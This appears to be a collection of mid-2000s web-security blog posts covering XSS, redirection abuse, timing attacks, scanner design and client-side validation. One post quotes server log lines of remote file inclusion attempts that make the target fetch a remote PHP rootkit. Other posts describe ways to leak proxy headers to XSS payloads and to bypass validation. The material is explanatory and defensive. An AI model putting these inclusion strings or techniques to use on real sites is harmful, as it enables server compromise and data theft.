Yesterday combing through my logs I found an interesting link to a hacked server that hosted an application worth talking about (I know, it’s a stretch but bear with me). The server was hosting a peice of JavaScript served up by a company called ip2phrase. IP2phrase is an interesting service, but doesn’t have a whole lot of utility for most people reading this list, but it did give me an idea. One of the things that I find most useful is the ability to know things about people who visit my applications. One of the ways to do that is look at server environmental variables. But the problem is I’m pretty fortunate to have a server, while most people probably don’t. However, if they combine it with services like WhiteAcid’s community cookie logger or other places where they can post this sort of information it could be super useful for them to know.

So it got me thinking… why not build something similar to Ip2phrase but instead of returning location of users it returns their environmental variables? So instead of it being only availible to you, it’s also availible to anyone who visits your site or any tools that you build in HTML (like PDP’s stuff for instance). Further, if you want to use it in an XSS attack of some sort I’ve provided the variables themselves in JavaScript space. That could be super useful for attacks that need to know specific information about a browser that might not be visible in JavaScript space.

A few great examples of this are HTTP_X_FORWARDED_FOR (what IP address you are coming from if you are using a proxy) and HTTP_VIA (the name and often the type of proxy you are using) which both give you very good information about the user’s origin servers that is otherwise not visible to you in JavaScript space. Of course this could be expanded well beyond what I’ve built but I wanted to get a prototype up and running so people could play with it and let me know what you think.

I got this from a co-worker today: IE7.0 is coming and it knows if you’ve been bad or good so be good for goodness sake. That means if you happen to run any sort of web-application (I sure hope so or you’re on the wrong website) you had better start testing now, and I do mean at this exact second that you are reading this, if you haven’t already.

There are a number of compatibility changes that affect a number of applications - the most obvious and annoying ones are where people (in JavaScript) ask if the browser you are using is not IE6.0 (because if it isn’t then it’s disabled - figuring that 6.0 is the latest revision). Bad programming via forgetting about future compatibility and hard to get around unless you know what you’re doing. Also this will mark a big change for the Cross Site Scripting Cheat Sheet as a large number of the exploits will change (particularly the ones that use the JavaScript directive in images). Not that that is a particularly good vector, and I will keep it on there, but know that it’s changing.

There are lots of other changes, so if you haven’t tested your application yet, you better start and if you don’t have one to test, go get one so you can partake in some of the upgrade fun.

id sent me this link today and it appears TinyURL has blacklisted Imagecrash. I suppose too many people have been duped by the tinyURL version of the page (not by me, but probably by people who thought it was funny to crash their best friend’s machines). This is actually the first time I’ve heard of TinyURL doing anything about the abuse. Not that it would stop much, as they could bounce the TinyURL off any other form of redirection and it’s extremely easy to build your own imagecrash page.

It’s nice to see them handling abuse, but like I said, it wouldn’t stop much. Ultimately I think TinyURL does provide a useful service, as do lots of types of redirection, but this clearly articulates that you can’t do so blindly, and there’s really no way you can know the intention of a URL until you go there - making blind redirection a risk to your consumers. TinyURL is in a slightly different boat where they have to know the URL ahead of time but that doesn’t buy you much. Blacklisting doesn’t help much either, as we’ve seen before, but it does help solve immediate problems (like redirection to one particular phishing site for instance - until the phishers build another one). Ultimately, I’m still in the camp that redirection is a bad idea.

I was pretty amazed when I read this, but it is starting to make more and more sense the more I think about it, but “geek speak” is being used to defeat Baysean Spam filters. According to MessageLabs (who I happen to think is one of the best managed anti-spam services out there) using simple keywords can help reduce the likelyhood of something being caught as spam. And get this, one of the keywords mentioned is “XSS” of all things!

Like I said, it sorta makes sense when I started thinking about it. One of the most bizarre phenomenon was one time when I was writing a fairly indepth paper on the large scale effects of the 419 advanced fee fraud (if you don’t know what that is click here). While I was writing the fairly in depth technical explanation I sent it to a few trusted parties who I wanted to get input from. It never got there. It was impossible to get it to them because it kept getting marked as spam! I had to do all sorts of crazy things to disguise it in transit but still make it show up okay on the other end (basically I had to defeat the spam engine itself) but talk about a hassle!

Certain emails have certain characteristics. An email about cooking has the words “pots” and “spices”. An email about XSS has crazy filter evasion, and HTML markup galore. The heuristics of an email about XSS looks an awful lot like someone trying to evade filters and for the spam engine to not mark it as a false positive it has to tune itself looking for particular words that would whitelist an email that otherwise looked obfuscated or otherwise had a very high or alternately very low level of entropy.

Makes perfect sense! I guess the spam engines need some tuning now as XSS isn’t a marker of something particularly good or particularly bad as it turns out. I’ve seen the exact opposite thing happen where services have denied requests that have contained the word “XSS” in them. Talk about poor design - all you have to do is not use that word and you’re back up and running. XSS strikes again, in the most unlikely place!

After having read Jeremiah’s post about being thanked publically by Google for responsible disclosure I was a bit ticked. I’ve probably done more for Google security than almost anyone who has worked there by various means of disclosure over the years and do I get any credit for it? No! Well that’s just unacceptable and I will not stand for it.

So I had to take matters into my own hands. Take that, Google!

Okay, all kidding aside, I was a little amused at this obvious con artistry. I’m not quite so easily socially engineered. Just because I get my name in lights that doesn’t exactly make me feel like I’m safe. And I _KNOW_ other people have disclosed vulnerabilities in their stuff over the years. So only with the vague hope that I might get my name on some obscure page on some website that is subject to change at any time I can fail to alert consumers that they are at risk and hope instead that Google decides to move quickly. Sorry, consumers first, evil advertizing empires second.

Today NIST.org (not related to NIST.com) published an article on XSS. John and I have been exchanging emails for a while and I think he finally felt like he knew enough to write a really thorough article on cross site scripting attacks - and that he did. It’s a pretty good read if you are an old hat at Security but new to the web application security space or to cross site scripting in particular. He also spends a good chunk of the article talking about not just the attack but what it’s actually used for (primarily phishing and credential theft), which is something I don’t spend much time talking about.

Along with his article he also put together a compendium of some of the cross site scripting vulnerable websites out there. This is something we’ve talked about doing before, but it’s good to know someone else has taken it upon themselves to build it out, unlike the sla.ckers.org full disclosure forums which are a tad unwieldy to say the least as there is a lot of chatter there.

Anyway, it’s a good article coming from NIST, and I’m really glad the concept has gotten more attention from the people who help inform other people of the risks. Now, let’s try to fix the holes that we found!

I know this is coming late, but when I first looked at this, I wasn’t sure if I thought this was particularly interesting but David Kierznowski built a JavaScript tool to ping hosts. At first I thought “well, okay, but why?” but then I started considering other potential implications of knowing if a webpage is up or down. Port scanning is the obvious security implication but that’s already been done. What else? How about using it as tool in a time based attack?

Let’s think about this… If I can stop an iframe from loading and test if it has completed loading or not, I can send it to a URL that acts differently based on the time required to load a page in varying states. If it takes longer for a page to load if the user is signed in than it does when they aren’t it’s another potential way to do targeted attacks. Even assuming the CSS history attack that Jeremiah came up with is disabled by something like Stanford’s Safe History I can still tell if they are in authenticated states on websites that have this issue.

Since I’m on a roll talking about Stanford security today, let’s completely break Safe History by testing if they have been to a website before by detecting how long it takes them to load a website before and after going to it (if it’s cached it should be basically instant). Of course all of this is theory and I haven’t tested any of it, but I’ll be curious to hear people’s thoughts once they do. Cross domain restrictions seem to be getting more and more fuzzy lately.

I have been cataloging a few rootkits that people have been trying to get installed on the server via remote file includes. Well today I was checking the server logs and happened accross this little nugget. Apparently Stanford University had it’s 3D Lab hacked and is being used to launch botnet DDoS attacks:

66.7.194.155 - - [07/Oct/2006:15:57:46 -0700] “GET /blog/category/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://3dlab.stanford.edu/cmdi.txt??? HTTP/1.1″ 404 4873 “-” “libwww-perl/5.805″<br /> 193.223.240.55 - - [08/Oct/2006:14:29:21 -0700] “GET /blog/20060803/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=http://3dlab.stanford.edu/cmdi.txt???? HTTP/1.1″ 404 4873 “-” “libwww-perl/5.805″<br /> 193.223.240.55 - - [08/Oct/2006:14:32:53 -0700] “GET /blog/20060803/include/write.php?dir=http://3dlab.stanford.edu/cmdi.txt???? HTTP/1.1″ 404 4873 “-” “libwww-perl/5.805″<br /> 193.223.240.55 - - [08/Oct/2006:14:38:36 -0700] “GET /blog/20060803/include/write.php?dir=%20!scan%20!eval%20@gstring=’google%20dork’;http://3dlab.stanford.edu/cmdi.txt???? HTTP/1.1″ 404 4873 “-” “libwww-perl/5.805″

The Stanford machine that was hacked is being used as a launching pad for additional attacks using this php include rootkit in case anyone wants to mess with the IRC channel. Cute. Stanford has both a Security lab and a crypto lab and is the primary breeding ground for future Google employees. Hacked machines is pretty scary - and I’d be surprised if they had stopped at that machine alone rather than owning the entire network unless it simply is a botnet.

Here’s a photo of the hacked Stanford Univesity machine. Hopefully someone over there will fix it as I’m sure it’s being used as a huge launching pad for further attacks if it’s been up for over a day already and I’m the first person to notice. I had hoped the security folks at Stanford would be more on top of their network security to notice these types of things before I do as it could be used for almost anything nefarious.

So thumbs up to the graphics lab (cool stuff at that link) thumbs down for the security of it.

I got an email from another lurker today that I thought was pretty interesting. He’s intending to build a scanner to do some self-pen testing on his own websites and wanted some guidance. He was stuck on one of the three big questions (the others are the calendar or infinite depth issue and the login state issue). His issue was how to know what is bad and what isn’t from a web application security scanning perspective.

1. Without going into to much detail, could you suggest some ways that I could intelligently check the responses to see if the given page is vulnerable to a particular attack. I’ve been able to parse the page, locate parameters that I want to try to attack, and build the POST/GET requests. But should I be doing something more than just checking for in tact javascript in the HTTP responses? It’s obviously very easy to tell when an alert box pops up in your browser window, but from a programming standpoint, do you have any suggestions for validating each attack?

That’s a very tricky question and depends on a few things - are you only interested in XSS or also CSRF or more? Second question, assuming it’s XSS is are you interested in HTML injection or JavaScript injection? Those answers might help you narrow down what you are looking for. Here’s what I mean. There’s basically two schools of thought used by the web application security scanning community. I gotta tell you, both of those concepts make me wince a little.

The first is “Anything that looks like HTML is probably bad.” If you assume that any HTML injection is bad, you are making false assumptions about what is deemed acceptable by that application. Maybe <BR> tags are okay, or even <XSS> tags are okay, but <IFRAME is not programmatically. Secondly, making that same assumption if you are only testing for HTML (because it would stand to reason that HTML is the only way to get JavaScript on a page) you are missing script injection (like the JSON issue Google had), weird encoding methods, blah blah blah. Also maybe they use a whitelist like <XSS> isn’t allowed since it’s not on a whitelist, but <IMG SRC=… is. Eesh! As I said, it makes me wince.

The second is, “If you can’t get it to render JavaScript, it’s not a valid attack.” Basically this is taking the super simple concept above and making it a thousand times more difficult. Basically this assumption is, unless the DOM is fired it’s not a valid attack vector. They use tools like spidermonkey to detect if the DOM is accessed by their injected script. Fantastic idea, tons of holes though. The primary issue I have with this is that the Firefox DOM acts nothing like the Internet Explorer DOM and vice versa when you are talking about XSS filter evasion. They’re kinda vaguely close with the most basic script injection but with anything weird? Forget it. My other big issue with this concept is that just because you injected a great string doesn’t mean you jumped out of the encapsulation properly. You might have just missed one more backslash or semicolon. Maybe trapping JavaScript errors gets you 95% the way there, but I still wouldn’t rely on it. It just makes me nervous.

Both of those ideas have their merits, and both their major pitfalls. The first is easier to code, certainly, but as I said, it’s missing a lot of granularity in the way JavaScript and HTML is parsed.

maluc brought up a good point yesterday about the use of client side protection against exploitation that I really haven’t spent much time talking about, because it seems so trivial from a web application security perspective. However, I see it happen extremely frequently in regular application tests and I think it’s worth spending a few minutes writing about because it’s not just terrible coding practice, given that some browsers don’t have JavaScript enabled but, it is also a slipperly slope towards greater insecurity.

Here’s a quote that maluc brought to my attention from w3schools.com:

Form Validation

User input should be validated on the browser whenever possible (by client scripts). Browser validation is faster and you reduce the server load.

You should consider using server validation if the user input will be inserted into a database.

That’s a very sad statement coming from one of the top sites out there for technical resources on programming. Let me re-state what they said but correctly:

“User input should be validated on the browser whenever possible (by client side scripts) only as a consumer benefit. It should be always verified by server side scripts regardless of additional resources required as this is the only way to avoid exploitation via circumvention of your client side validation.” -RSnake (you can quote me on that one)

I see this happen all the time actually, I probably see it two or three times a day during regular application testing. The programmer puts some client side validation in there like “Your email address must be in the form user@somewhere.com” so I can’t submit to the next page. However, 9 times out of 10 I can quickly circumvent this stupid protection by simply turning off JavaScript. There is the occational form that also uses JavaScript to construct the URL to post to, which takes more than simply turning off JavaScript but that too is trivial to get around by modifying the JavaScript returned to you with something like burp proxy (it’s not just helpful for sending different data, it’s also helpful for changing the data as it is presented to you).

By entering some bogus information in the URL field I can get it to error out (assuming the client side script is built with any protection at all) and then by changing the post method into get with the webdeveloper Firefox plugin you’re off to the races with a functioning XSS exploit - complete JavaScript circumvention within 5 minutes if you know what you’re doing.

There are equally as many pages that use only JavaScript validation and if you turn off JavaScript it will happily submit whatever you entered (gah!). I’m sure there are some helpdesk people with some weird crap in their email as a result. Without server side erroring XSS may go away but then the service itself is exploitable (SQL injection, pipes, null byte injection, etc… etc…). Eesh! The moral of the story is don’t use JavaScript validation alone. It’s risky and opens you up to even greater issues if you rely on it as your sole security validation mechanism.